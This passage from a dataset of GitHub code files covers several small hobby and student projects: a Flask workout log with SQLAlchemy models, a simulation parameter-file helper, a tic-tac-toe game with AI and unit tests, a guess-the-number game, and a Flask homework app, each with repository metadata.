exercises=exercises)\n else:\n user_exercise = db.session.query(UserExercise).filter(\n UserExercise.user_exercise_id == request.form['user_exercise_id']).all() \n for u_e in user_exercise:\n u_e.user_id = logged_in()\n u_e.exercise_id = request.form['exercise_id']\n u_e.weight = request.form['weight']\n u_e.reps = request.form['reps']\n u_e.time = request.form['time']\n year, month, day = request.form['date'].split('-') #e.g.['2016', '09', '11']\n u_e.d = date(int(year), int(month), int(day)) \n\n db.session.commit()\n return redirect(url_for('index'))\n \[email protected]('/history', methods=['GET','POST'])\ndef workout_history():\n if request.method == 'GET':\n current_user = logged_in()\n if current_user:\n rows = db.session.query(UserExercise).filter(\n UserExercise.user_id == current_user).all() \n\n return render_template('history.html', workouts=rows)\n else:\n return render_template('login.html')\n\[email protected]('/register', methods=['GET', 'POST'])\ndef register():\n # if the the method is GET - return webpage with a 'form' \n # to enter register data\n # if POST process the data from the 'form',\n # check if data is unique\n # save to the DB and give\n # feedback to the user\n # return render_template('register.html')\n if request.method == 'POST':\n user_name = request.form['username']\n password = request.form['password']\n print user_name\n temp = db.session.query(User).filter(User.user_name==user_name,\n User.password==password)\n for t in temp:\n message = 'This name is taken :( choose another one.'\n return render_template('register.html', message=message)\n # populate db with new user and password\n new_row = User(user_name=user_name, password=password)\n db.session.add(new_row)\n db.session.commit()\n message = 'Registration complete. Now you can login.'\n return render_template('login.html', message=message)\n else:\n # return webpage to register\n return render_template('register.html')\n\n# Helper functions\n\ndef logged_in():\n if request.cookies.get('session_id'):\n for sess in db.session.query(HTTPSession).filter(\n HTTPSession.session_cookie == request.cookies.get('session_id')): # compare content of the cookie\n return sess.user_id\n return None\n\ndef cookie():\n cookie = request.cookies.get('session_id')\n return cookie\n\nif __name__ == \"__main__\":\n app.debug = True\n\n init_db(app)\n app.run()\n\n" }, { "alpha_fraction": 0.6067796349525452, "alphanum_fraction": 0.6110169291496277, "avg_line_length": 31.328767776489258, "blob_id": "146c831f66760de2a6fc498d94866682f990e031", "content_id": "03447074372a5ec083b275585c66e2d35e8ef5a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2360, "license_type": "no_license", "max_line_length": 79, "num_lines": 73, "path": "/model.py", "repo_name": "agatanyc/exercise-log", "src_encoding": "UTF-8", "text": "from flask_sqlalchemy import SQLAlchemy\nfrom app import app\nfrom datetime import datetime\n\ndb = SQLAlchemy(app)\n\n# Model definitions\n\nclass User(db.Model):\n\n __tablename__ = \"users\"\n\n user_id = db.Column(db.Integer, autoincrement=True, primary_key=True)\n user_name = db.Column(db.String(40))\n password = db.Column(db.String(30))\n user_exercises = db.relationship('UserExercise',back_populates='user')\n sessions = db.relationship('HTTPSession', back_populates='user')\n\n def __repr__(self):\n return \"<User user_id:%s name=%s\" % (self.user_id, self.user_name)\n\nclass Exercise(db.Model):\n \n __tablename__ = \"exercises\"\n\n exercise_id = db.Column(db.Integer, autoincrement=True, primary_key=True)\n exercise = db.Column(db.String(50), nullable=False)\n user_exercises = db.relationship('UserExercise', back_populates='exercise')\n\n def __repr__(self):\n return \"<Exercise exercise_id=%s name=%s\" % (self.exercise_id,\n self.exercise) \n\nclass UserExercise(db.Model):\n\n __tablename__ = \"user_exercises\"\n\n user_exercise_id = db.Column(db.Integer, autoincrement=True,\n primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('users.user_id'),\n nullable=False)\n exercise_id = db.Column(db.Integer, db.ForeignKey('exercises.exercise_id'),\n nullable=False)\n weight = db.Column(db.Integer)\n reps = db.Column(db.Integer)\n time = db.Column(db.String(30))\n date = db.Column(db.DateTime)\n\n user = db.relationship('User', back_populates='user_exercises')\n exercise = db.relationship('Exercise', back_populates='user_exercises')\n\n\nclass HTTPSession(db.Model):\n\n __tablename__ = \"sessions\"\n\n session_id = db.Column(db.Integer, autoincrement=True, primary_key=True)\n session_cookie = db.Column(db.String(50))\n user_id = db.Column(db.Integer, db.ForeignKey('users.user_id'),\n nullable=False)\n user = db.relationship('User', back_populates='sessions')\n\n#--------------------------\n\ndef init_db(app):\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///workouts.db'\n db.app = app\n db.init_app(app)\n\nif __name__ == \"__main__\":\n\n init_db(app)\n print \"Connected to DB\"\n" } ]
5
yuwei2010/pyGT3
https://github.com/yuwei2010/pyGT3
d27b9799c8c6dd0e978d23e8cf3b4d8544c816ce
a07c246bc6f6f3d86740787730e8d0d3fb0837a2
dfa620f4fbaf4d1d1c87446aa86812995ba71933
refs/heads/master
2020-05-09T10:33:31.212169
2019-04-12T19:53:05
2019-04-12T19:53:05
181,047,477
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.34602785110473633, "alphanum_fraction": 0.3488943576812744, "avg_line_length": 24.434782028198242, "blob_id": "bc02224dbed53c91ee5f61f68601e4363fd2f0ae", "content_id": "10a2d19ae01283fd108bc69e88bc13fe6db9a952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2442, "license_type": "no_license", "max_line_length": 91, "num_lines": 92, "path": "/gtobject.py", "repo_name": "yuwei2010/pyGT3", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport re\r\nimport logging\r\n\r\nfrom collections import OrderedDict\r\n\r\n#%%---------------------------------------------------------------------------#\r\nclass GTParam(OrderedDict):\r\n \r\n pat_single = re.compile(r'(.+)=(.+)')\r\n pat_multi = re.compile(r'(.+)>(.+)<')\r\n \r\n \r\n def __init__(self, path):\r\n \r\n if os.path.lexists(path):\r\n \r\n with open(path, 'r') as fobj:\r\n \r\n lines = [l.strip() for l in fobj.readlines() if l.strip()]\r\n \r\n items = OrderedDict((s.strip() for s in \r\n line.split('=')) for line in lines)\r\n \r\n else:\r\n \r\n items = OrderedDict()\r\n \r\n self.path = path\r\n self.pkeys = items.keys()\r\n \r\n super().__init__(items)\r\n \r\n \r\n #%%-----------------------------------------------------------------------# \r\n def save(self):\r\n \r\n with open(self.path, 'w') as fobj:\r\n \r\n fobj.writelines(['{} = {}\\n'.format(k, v) for k, v in self.items()])\r\n\r\n#%%---------------------------------------------------------------------------#\r\nclass GTObject(object):\r\n \r\n \r\n def __init__(self, path, **kwargs):\r\n \r\n path = os.path.abspath(os.path.normpath(path))\r\n \r\n if os.path.lexists(path):\r\n\r\n self.path, _ = os.path.splitext(path)\r\n \r\n else:\r\n self.path = path\r\n \r\n \r\n self.parameters = GTParam(kwargs.pop('paramfile', self.path+'.param'))\r\n \r\n \r\n #%%-----------------------------------------------------------------------# \r\n def set_parameter(self, name, value):\r\n \r\n self.parameters[name] = value\r\n \r\n return self\r\n\r\n setp = set_parameter\r\n #%%-----------------------------------------------------------------------#\r\n def update(self):\r\n \r\n self.parameters.save()\r\n\r\n#%%---------------------------------------------------------------------------#\r\nif __name__ == '__main__':\r\n\r\n gto = GTObject(r'..\\unittest\\simple1d.gtm' )\r\n\r\n print(gto.path)\r\n \r\n print(gto.parameters)\r\n \r\n gto.setp('FlowRate', 100)\r\n gto.setp('Test', 30)\r\n \r\n print(gto.parameters)\r\n \r\n gto.update()\r\n \r\n# print(gto.paramfile) " }, { "alpha_fraction": 0.3331540822982788, "alphanum_fraction": 0.3379940986633301, "avg_line_length": 26.312976837158203, "blob_id": "9e035ba8a7fb25a1eaf52af0ad805b8a88547db3", "content_id": "460127d94b842e60cb14517de783dbf89817c8b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3719, "license_type": "no_license", "max_line_length": 92, "num_lines": 131, "path": "/pyGT/gtobject.py", "repo_name": "yuwei2010/pyGT3", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport re\r\nimport logging\r\nimport numpy as np\r\n\r\nfrom collections import OrderedDict\r\n\r\n\r\n#%%---------------------------------------------------------------------------#\r\nclass GTParam(OrderedDict):\r\n \r\n pat_single = re.compile(r'(.+)=(.+)')\r\n pat_multi = re.compile(r'(.+)>(.+)<')\r\n \r\n \r\n def __init__(self, path):\r\n \r\n if os.path.lexists(path):\r\n \r\n with open(path, 'r') as fobj:\r\n \r\n lines = [l.strip() for l in fobj.readlines() if l.strip()]\r\n \r\n grp1 = [GTParam.pat_single.match(l) for l in lines]\r\n grp2 = [GTParam.pat_multi.match(l) for l in lines]\r\n \r\n\r\n \r\n if all(item is not None for item in grp1):\r\n \r\n self.flag = 1\r\n \r\n items = OrderedDict([s.strip() for s in item.groups()] for item in grp1)\r\n \r\n elif all(item is not None for item in grp2):\r\n \r\n self.flag = 2\r\n \r\n items = OrderedDict((item.groups[0].strip(), \r\n np.fromiter((s.strip() for s in item.groups[1]),\r\n dtype=np.object)) for item in grp2)\r\n \r\n else:\r\n \r\n raise ValueError\r\n \r\n else:\r\n \r\n items = OrderedDict()\r\n \r\n self.path = path\r\n\r\n \r\n super().__init__(items)\r\n \r\n \r\n #%%-----------------------------------------------------------------------# \r\n def save(self):\r\n \r\n with open(self.path, 'w') as fobj:\r\n \r\n fobj.writelines(['{} = {}\\n'.format(k, v) for k, v in self.items()])\r\n#%%---------------------------------------------------------------------------#\r\n \r\nclass GTResult(OrderedDict):\r\n \r\n def __init__(self, path):\r\n \r\n \r\n pass\r\n \r\n#%%---------------------------------------------------------------------------#\r\nclass GTObject(object):\r\n \r\n \r\n def __init__(self, path, **kwargs):\r\n \r\n path = os.path.abspath(os.path.normpath(path))\r\n \r\n if os.path.lexists(path):\r\n\r\n self.path, _ = os.path.splitext(path)\r\n \r\n else:\r\n self.path = path\r\n \r\n \r\n self.parameters = GTParam(kwargs.pop('paramfile', self.path+'.param'))\r\n \r\n \r\n #%%-----------------------------------------------------------------------# \r\n def set_parameter(self, name, value):\r\n \r\n self.parameters[name] = value\r\n \r\n return self\r\n\r\n setp = set_parameter\r\n #%%-----------------------------------------------------------------------#\r\n def update(self):\r\n \r\n self.parameters.save()\r\n \r\n #%%-----------------------------------------------------------------------#\r\n def export(self, expfile=None, gdxfile=None, rltfile=None, delimiter=','):\r\n \r\n return GTResult(rltfile)\r\n \r\n \r\n\r\n#%%---------------------------------------------------------------------------#\r\nif __name__ == '__main__':\r\n\r\n gto = GTObject(r'..\\unittest\\simple1d.gtm' )\r\n\r\n print(gto.path)\r\n \r\n print(gto.parameters)\r\n \r\n gto.setp('FlowRate', 100)\r\n gto.setp('Test', 30)\r\n \r\n print(gto.parameters)\r\n \r\n# gto.update()\r\n \r\n expfile = r'..\\unittest\\simple1d.exp'\r\n \r\n print(gto.export())\r\n\r\n " } ]
2
narfman0/Tic-Tac-Toe
https://github.com/narfman0/Tic-Tac-Toe
a89980eb6f513cacf7a8a7ecff99045ee1e4c535
d17bcef831bb6ed1d0f551b1fbd3a7539d92309e
d4764a65524ad969602a2e3ef764ef0ab885848f
refs/heads/master
2021-01-18T00:06:07.867248
2014-03-20T05:05:07
2014-03-20T05:05:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4598587155342102, "alphanum_fraction": 0.49132949113845825, "avg_line_length": 27.851852416992188, "blob_id": "6e1228d958af00fafd1eb1d3a664b2af1df7cc79", "content_id": "1eb40866d6b963fea9f21e77e98345994ce17117", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1557, "license_type": "no_license", "max_line_length": 79, "num_lines": 54, "path": "/tictactoe/board.py", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "class Board(object):\n '''\n The board class represents a tic tac toe board. The class shall be backed\n by a size 9 'array' holding 3 rows of 3 columns. The indices are defined as\n follows:\n 0 | 1 | 2\n --+---+--\n 3 | 4 | 5\n --+---+--\n 6 | 7 | 8\n '''\n WIN=[(0,1,2),(3,4,5),(6,7,8),(0,3,6),(1,4,7),(2,5,8),(0,4,8),(2,4,6)]\n\n def __init__(self):\n self.board=['']*9\n self.moves=[]\n\n def __str__(self):\n grid=''\n for y in range(0,3):\n line=''\n for x in range(0,3):\n line+=' ' if self.board[y*3+x]=='' else self.board[y*3+x]\n if x < 2:\n line+=' | '\n grid+=line\n if y < 2:\n grid+='\\n--+---+--\\n'\n return grid\n\n def __repr__(self):\n return self.__str__()\n\n def mark(self, location, markType):\n self.board[location]=markType\n self.moves.append((location,markType))\n\n def isMarked(self, location):\n return location >= 0 and location < 9 and self.board[location] != ''\n\n def isFilled(self):\n return all(''!=i for i in self.board)\n\n def isWinner(self, markType):\n #return True if the markType (x,o) has a winning position\n for c in self.WIN:\n if(all(markType == self.board[i] for i in c)):\n return True;\n return False\n \n def isEmptyExcept(self, locations):\n marks=range(0,9)\n [marks.remove(l) for l in locations]\n return all('' == self.board[i] for i in marks)" }, { "alpha_fraction": 0.5180000066757202, "alphanum_fraction": 0.5320000052452087, "avg_line_length": 25.36842155456543, "blob_id": "b0abc562107cd2bf29ae74abcbe8b3d19af25616", "content_id": "2ed7ba3e8cd1cc8f7f7a076496a7a6ea6b686579", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 500, "license_type": "no_license", "max_line_length": 50, "num_lines": 19, "path": "/tictactoe/boardTest.py", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "import unittest\nfrom tictactoe.board import Board\n\nclass Test(unittest.TestCase):\n def testWin(self):\n b=Board()\n [b.mark(l,m) for l,m in ((2,'x'),(4,'x'))]\n self.assertFalse(b.isWinner('x'))\n b.mark(6, 'x')\n print b\n self.assertTrue(b.isWinner('x'))\n \n def testEmptyExcept(self):\n b=Board()\n [b.mark(l,m) for l,m in ((2,'x'),(4,'x'))]\n self.assertTrue(b.isEmptyExcept((2,4)))\n\nif __name__ == \"__main__\":\n unittest.main()" }, { "alpha_fraction": 0.7251184582710266, "alphanum_fraction": 0.7345971465110779, "avg_line_length": 27.133333206176758, "blob_id": "86d5a9ba4ee047b0af909fa4ff22fe16fabe203c", "content_id": "9e885ce624a355e1652cc8494522648941580013", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 422, "license_type": "no_license", "max_line_length": 79, "num_lines": 15, "path": "/README.md", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "Tic-Tac-Toe\n===========\nThis is a python version of tic-tac-toe, currently console only. To see java\nversion, visit https://github.com/narfman0/Tic-Tac-Toe/tree/java. \n\nRunning\n-------\nGo to the root directory and execute main.py\n\nBuilding\n--------\nTo retrieve source, run 'git clone https://github.com/narfman0/Tic-Tac-Toe.git'\n\nRecommended development environment is fedora 19, running eclipse with egit\nplugin enabled.\n" }, { "alpha_fraction": 0.47696879506111145, "alphanum_fraction": 0.48959881067276, "avg_line_length": 31.071428298950195, "blob_id": "4a910ab04d740460f1001b7143ca6a60bb8464b1", "content_id": "56b978e084f30eac3d88989fb967218da58ebb48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1346, "license_type": "no_license", "max_line_length": 64, "num_lines": 42, "path": "/tictactoe/aiTest.py", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "import unittest\nfrom tictactoe.board import Board\nfrom tictactoe.ai import AI\n\nclass Test(unittest.TestCase):\n def testName(self):\n for x in range(1,10000):\n b=Board()\n randomAI=AI('x',AI.moveRandom)\n smartAI=AI('o',AI.moveAI)\n while not b.isFilled():\n randomAI.turn(b)\n if b.isWinner('o'):\n print 'o is winner!\\n' + str(b)\n break\n smartAI.turn(b)\n if b.isWinner('x'):\n print 'x is winner!\\n' + str(b)\n self.fail('X won with moves ' + str(b.moves))\n print 'Finished game ' + str(x) + '\\n'\n pass\n \n def testDetectWin(self):\n b=Board()\n [b.mark(l,m) for l,m in ((2,'x'),(4,'x'))]\n smartAI=AI('x',AI.moveAI)\n self.assertEqual(smartAI.detectWin(b, 'x'), 6)\n \n def testDetectCorner(self):\n b=Board()\n [b.mark(l,m) for l,m in ((0,'x'),(4,'o'),(8,'x'))]\n smartAI=AI('o',AI.moveAI)\n self.assertEqual(smartAI.detectCornerManeuver(b), 1)\n \n def testDetectLine(self):\n b=Board()\n [b.mark(l,m) for l,m in ((0,'x'),(4,'o'),(8,'x'))]\n smartAI=AI('o',AI.moveAI)\n self.assertEqual(smartAI.moveAI(b), 1)\n\nif __name__ == \"__main__\":\n unittest.main()" }, { "alpha_fraction": 0.5253333449363708, "alphanum_fraction": 0.5288888812065125, "avg_line_length": 31.171428680419922, "blob_id": "350517946c254f240e215d6bbeb6a80b2bebf544", "content_id": "f73f54ebc4a3d2fdc7a9ea7fd5dfa212a8011a37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1125, "license_type": "no_license", "max_line_length": 82, "num_lines": 35, "path": "/tictactoe/main.py", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "#!/bin/python\nimport sys\nfrom tictactoe.board import Board\nfrom tictactoe.ai import AI\n\ndef play():\n b=Board()\n ai=AI('o',AI.moveAI)\n while not b.isFilled():\n print str(b) + '\\nPlease input a number representing the space '\\\n 'you want to mark in the range 0-8, then press enter: '\n msg = sys.stdin.readline()\n try:\n location=int(msg)\n if b.isMarked(location):\n print('Please choose a space that has not already been filled in')\n continue\n b.mark(location, 'x')\n if b.isWinner('x'):\n print('X wins!')\n return\n if not b.isFilled():\n ai.turn(b)\n if b.isWinner('o'):\n print('O wins!')\n return\n except:\n print('Please input a valid number between 0-8')\n print('Stalemate, please play again!')\n \nif __name__ == '__main__':\n print \"Welcome to tic-tac-toe, where we offer nothing less than the \"\\\n \"most straightforward experience you\\'ve ever had\"\n while True:\n play()" }, { "alpha_fraction": 0.4822791814804077, "alphanum_fraction": 0.5160850882530212, "avg_line_length": 37.62105178833008, "blob_id": "b0925f2795cacdc4ff3fcd4dde7c612c4e786803", "content_id": "e63c61a4deaf1421dd2d1078d6c8f90125eb291f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3668, "license_type": "no_license", "max_line_length": 100, "num_lines": 95, "path": "/tictactoe/ai.py", "repo_name": "narfman0/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "from random import randrange\nfrom tictactoe.board import Board\n\nclass AI(object):\n '''\n The AI class for tic-tac-toe. Take a move function on initialize indication\n if it is a random ai or semi-intelligent non-losing ai. Also takes markType\n indicating if it is a 'x' or an 'o'\n '''\n def __init__(self, markType, moveFunction):\n self.markType = markType\n self.enemyType = 'o' if markType == 'x' else 'x'\n self.moveFunction = moveFunction\n \n def turn(self, b):\n b.mark(self.moveFunction(self, b), self.markType)\n \n def moveAI(self, b):\n if b.board[4] == '':\n return 4\n if all(b.board[i] == '' for i in (0,1,2,3,5,6,7,8)):\n return 0\n \n #could have \"return detectX or \\\" to be cleaner, but since it returns 0, can't - meh \n m=self.detectWin(b, self.markType)\n if m is not None:\n return m\n m=self.detectWin(b, self.enemyType)\n if m is not None:\n return m\n m=self.detectCornerManeuver(b)\n if m is not None:\n return m\n m=self.detectLineManeuver(b)\n if m is not None:\n return m\n m=self.detectTightTriangleManeuver(b)\n if m is not None:\n return m\n m=self.detectLManeuver(b)\n if m is not None:\n return m\n return self.moveRandom(b)\n \n def moveRandom(self, b):\n location=-1\n while not b.isFilled() and (location == -1 or b.isMarked(location)):\n location=randrange(9)\n return location\n\n def detectWin(self, b, markType):\n for case in Board.WIN:\n for empty in range(0,3):\n owned=range(0,3)\n owned.remove(empty)\n if b.board[case[empty]] == '' and all(markType==b.board[case[i]] for i in owned):\n return case[empty]\n return None\n\n def detectCornerManeuver(self, b):\n #4 will never be empty\n for l,t in ((0,1),(2,5),(8,7),(6,3)):\n if(b.isEmptyExcept((l,4)) and b.board[l] == self.enemyType):\n return t\n for l1,l2 in ((0,8),(2,6)):\n if(b.isEmptyExcept((l1,l2,4)) and all(b.board[i] == self.enemyType for i in (l1,l2))):\n return 1\n return None\n \n def detectLineManeuver(self, b):\n if b.board[4] == self.enemyType:\n for items,cases in ( ((0,4,8),((0,2),(8,6)) ), ((2,4,6),((2,0),(6,8))) ):\n if b.isEmptyExcept(items):\n for enemy,desired in cases:\n if b.board[enemy] == self.enemyType:\n return desired\n return None\n \n def detectTightTriangleManeuver(self, b):\n '''Detect tight triangle maneuvers, where the player puts their mark\n on two caddy-corner middle spots like top middle and left middle'''\n for enemy,me,move in ( ((1,3),(2,6),0), ((1,5),(0,8),2), ((3,7),(0,8),6), ((7,5),(2,6),8) ):\n if all(b.board[i]==self.enemyType for i in enemy) and \\\n all(b.board[i]!=self.markType for i in me) and b.board[move]=='':\n return move\n return None\n \n def detectLManeuver(self, b):\n for enemy,me,move in ( ((1,6),(0,2,3),0), ((1,8),(0,2,5),2), ((3,2),(0,1,6),0), \\\n ((3,8),(6,7,0),6), ((0,5),(1,2,8),2), ((6,5),(7,2,8),8), \\\n ((0,7),(3,6,8),6), ((2,7),(5,6,8),8) ):\n if all(b.board[i]==self.enemyType for i in enemy) and \\\n all(b.board[i]!=self.markType for i in me) and b.board[move]=='':\n return move\n return None" } ]
6
avadhani123/HW1
https://github.com/avadhani123/HW1
9196e6e76123b348735176b1f071bd3c5c9f0937
f1141b26ef4a0d291b83b00734a04c9f558ed209
171ac1eea2480a361fa4bfe0c49993bc4782599c
refs/heads/master
2021-05-12T16:28:03.379821
2018-01-14T23:09:13
2018-01-14T23:09:13
117,015,569
0
0
null
2018-01-10T21:55:36
2017-12-31T20:53:05
2017-12-31T21:31:15
null
[ { "alpha_fraction": 0.6642396450042725, "alphanum_fraction": 0.6783856749534607, "avg_line_length": 39.71186447143555, "blob_id": "6a028d0bac4cdbff858791ca53bdd28e1bb69d4a", "content_id": "57cb6a30f0013c8de55c7c1350f6632f22d8f3a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4807, "license_type": "no_license", "max_line_length": 632, "num_lines": 118, "path": "/hw1_aavadhan.py", "repo_name": "avadhani123/HW1", "src_encoding": "UTF-8", "text": "\n## HW 1\n## SI 364 W18\n## 1000 points\n\n#################################\n\n## List below here, in a comment/comments, the people you worked with on this assignment AND any resources you used to find code (50 point deduction for not doing so). If none, write \"None\".\n#ankita avadhani\n#Worked wih will chatterson\nimport json\nimport requests\nfrom datetime import datetime as dt\nimport html\n\n## [PROBLEM 1] - 150 points\n## Below is code for one of the simplest possible Flask applications. Edit the code so that once you run this application locally and go to the URL 'http://localhost:5000/class', you see a page that says \"Welcome to SI 364!\"\n\nfrom flask import Flask\napp = Flask(__name__)\napp.debug = True\n\[email protected]('/')\ndef hello_to_you():\n return 'Welcome to SI 364'\n\n## [PROBLEM 2] - 250 points\n## Edit the code chunk above again so that if you go to the URL 'http://localhost:5000/movie/<name-of-movie-here-one-word>' you see a big dictionary of data on the page. For example, if you go to the URL 'http://localhost:5000/movie/ratatouille', you should see something like the data shown in the included file sample_ratatouille_data.txt, which contains data about the animated movie Ratatouille. However, if you go to the url http://localhost:5000/movie/titanic, you should get different data, and if you go to the url 'http://localhost:5000/movie/dsagdsgskfsl' for example, you should see data on the page that looks like this:\n\n# {\n# \"resultCount\":0,\n# \"results\": []\n# }\[email protected]('/movie/<name>')\ndef mov(name):\n url = \"http://itunes.apple.com/search\"\n params = {\"media\": \"movie\", \"term\": name}\n get_name = requests.get(url, params = params)\n json_format = json.loads(get_name.text)\n return get_name.text\n\n## [PROBLEM 3] - 250 points\n\n## Edit the above Flask application code so that if you run the application locally and got to the URL http://localhost:5000/question, you see a form that asks you to enter your favorite number.\n## Once you enter a number and submit it to the form, you should then see a web page that says \"Double your favorite number is <number>\". For example, if you enter 2 into the form, you should then see a page that says \"Double your favorite number is 4\". Careful about types in your Python code!\n## You can assume a user will always enter a number only.\[email protected]('/question')\ndef entry():\n m = \"\"\"<DOCTYPE html>\n<html>\n<body>\n<div>\n<form action = \"/result\" method = \"GET\">\n Enter your Favorite Number:\n <input type= \"text\" name = \"number\" value = \"0\">\n <br> <br>\n <input type = \"submit\" value = \"Submit\"\n<div>\n</form>\n</htm>\n\"\"\"\n return m\n\[email protected]('/result', methods= ['POST', 'GET'])\ndef double():\n if request.method == 'GET':\n number = request.args.get('number', '')\n num = int(number)\n return \"Double your favorite number is: \" + str(num*2)\n## [PROBLEM 4] - 350 points\n\n## Come up with your own interactive data exchange that you want to see happen dynamically in the Flask application, and build it into the above code for a Flask application, following a few requirements.\n\[email protected]('/music',methods= ['POST','GET'])\ndef enter_song():\n s = \"\"\"<!DOCTYPE html>\n<html>\n<body>\n<form action=\"http://localhost:5000/result/artistname\" method=\"GET\">\n Who sang the song \"Closer\"?:<br>\n <input type=\"radio\" name=\"artist\" value=\"Demi Lovato\" checked> Demi Lovato<br>\n <input type=\"radio\" name=\"artist\" value=\"Bruce Springsteen\"> Bruce Springsteen<br>\n <input type=\"radio\" name=\"artist\" value=\"The Chainsmokers\"> The Chainsmokers <br>\n <input type=\"submit\">\n</form> \n</body>\n</html>\"\"\" \n return s\n\[email protected]('/result/artistname', methods = ['POST', 'GET'])\ndef music_view():\n if request.method == 'GET':\n \tresult = request.args\n \tartistname = result.get('artist')\n \tif artistname == \"Demi Lovato\":\n \t\tresponse_display = \"Try Again! Hint: They are EDM.\"\n \tif artistname == \"Bruce Spingsteen\":\n \t\tresponse_display = \"Try Again! Hint: They are EDM.\"\n \tif artistname == \"The Chainsmokers\":\n \t\tresponse_display = \"Correct\"\n \treturn response_display\n\n\n\n \t# artistname = artistname\n \t# baseurl = \"https://itunes.apple.com/search\"\n\n \t# # artist_name = result.get('artist')\n \t# params = {\"entity\": \"music\", \"term\": artistname}\n \t# resp = requests.get(baseurl,params=params)\n \t# data_text = resp.text\n \t# python_obj = json.loads(data_text)\n \t# data_return = json.dumps(python_obj, indent = 2)\n \t# print(data_return)\n \t# return data_return\n\n\n # return render_template(\"result.html\",result = result)\n ## GET request got sent to the result route/result place. if the request method was GET, this means the GET request sent some stuff here, can get argumetns from the GET request and pull them out by their names. can show them on a page and render them in the same way. \n\n" } ]
1
mRse7enNIT/Guess_The_Number_Python
https://github.com/mRse7enNIT/Guess_The_Number_Python
42eece30b19f9de79f7e46336e40c8b0d28b0e6f
ee35fd3a8bb59df0ea4edf5f86d4bd65f2212740
1a62c18b522c5295cfcaa6eac030d560b5ea2220
refs/heads/master
2020-12-24T20:14:57.866997
2016-05-13T05:56:33
2016-05-13T05:56:33
58,703,514
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7793240547180176, "alphanum_fraction": 0.7793240547180176, "avg_line_length": 37.69230651855469, "blob_id": "21a0fff7fa771d6e8950c7ed0f6adea65e28f518", "content_id": "db119deac3d0ba4b04eee64eb48dab3212ece8c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 503, "license_type": "no_license", "max_line_length": 142, "num_lines": 13, "path": "/README.md", "repo_name": "mRse7enNIT/Guess_The_Number_Python", "src_encoding": "UTF-8", "text": "# Guess_The_Number_Python\n\nit is a browser based game which can be played on latest versions of Chrome,Firefox,Safari and IE.\n\nJust go to http://www.codeskulptor.org/ and remove the existing code and paste the code in the panel which can be found on main.py\n\nhit the play button and select he range.\n\nComputer will select a number randomly within the given range . You have to guess the particular number within a particular number of guesses.\n\nAnd if you guess correctly you will win!!!\n\nBest of Luck!\n" }, { "alpha_fraction": 0.5984809994697571, "alphanum_fraction": 0.6354430317878723, "avg_line_length": 25.675676345825195, "blob_id": "fa61cb6964caf46d16e3c390a51921bd0371d2f2", "content_id": "8d796910099e85048eb8dc96dec2c7f9013ec096", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1975, "license_type": "no_license", "max_line_length": 76, "num_lines": 74, "path": "/main.py", "repo_name": "mRse7enNIT/Guess_The_Number_Python", "src_encoding": "UTF-8", "text": "\n# input will come from buttons and an input field\n# all output for the game will be printed in the console\n\n\nimport simplegui\nimport math\nimport random\nrange = 100\nno_of_guess = 0\nsecret_number = 0\n# helper function to start and restart the game\ndef new_game():\n # initialize global variables used in your code here\n global secret_number\n global range\n global no_of_guess\n print \"\\nNew game. Range is from 0 to \" ,range\n if range == 100:\n no_of_guess = 7\n elif range ==1000:\n no_of_guess = 10\n print \"Number of remaining guesses is \" ,no_of_guess\n secret_number = random.randrange(0, range)\n\n# define event handlers for control panel\ndef range100():\n # button that changes the range to [0,100) and starts a new game \n global range\n range = 100\n new_game()\n \n\ndef range1000():\n # button that changes the range to [0,1000) and starts a new game \n global range\n range = 1000\n new_game()\n \n \ndef input_guess(guess):\n # main game logic goes here\t\n print \"\\nGuess was \", guess \n global no_of_guess\n no_of_guess = no_of_guess - 1\n \n if no_of_guess >=0:\n \n if int(guess) > secret_number :\n print \"Lower!\"\n print 'Number of remaining guesses is' ,no_of_guess\n elif int(guess) < secret_number :\n print \"Higher!\"\n print 'Number of remaining guesses is' ,no_of_guess\n elif int(guess) == secret_number :\n print \"Correct!\"\n new_game()\n else:\n print \"Out of guesses\"\n new_game()\n \n# create frame\nf = simplegui.create_frame(\"guess the number\",200,200)\n\n# register event handlers for control elements and start frame\nf.add_button(\"Range is [0,100)\", range100,100)\nf.add_button(\"Range is [0,1000)\", range1000,100)\nf.add_input('Enter a guess', input_guess, 200)\nf.start()\n\n# call new_game \nnew_game()\n\n\n# always remember to check your completed program against the grading rubric\n" } ]
2
rorodata/style-transfer-demo
https://github.com/rorodata/style-transfer-demo
a789c66062274b4237d43fd7671a839e7510afcc
1c3ab8cacac4a4c1bfb219c24c3b524b29f80b41
f9dcb72e95a4073391a1799948b172674532efd6
refs/heads/master
2021-09-03T06:05:27.452944
2018-01-06T06:03:47
2018-01-06T06:03:47
103,261,502
1
0
null
null
null
null
null
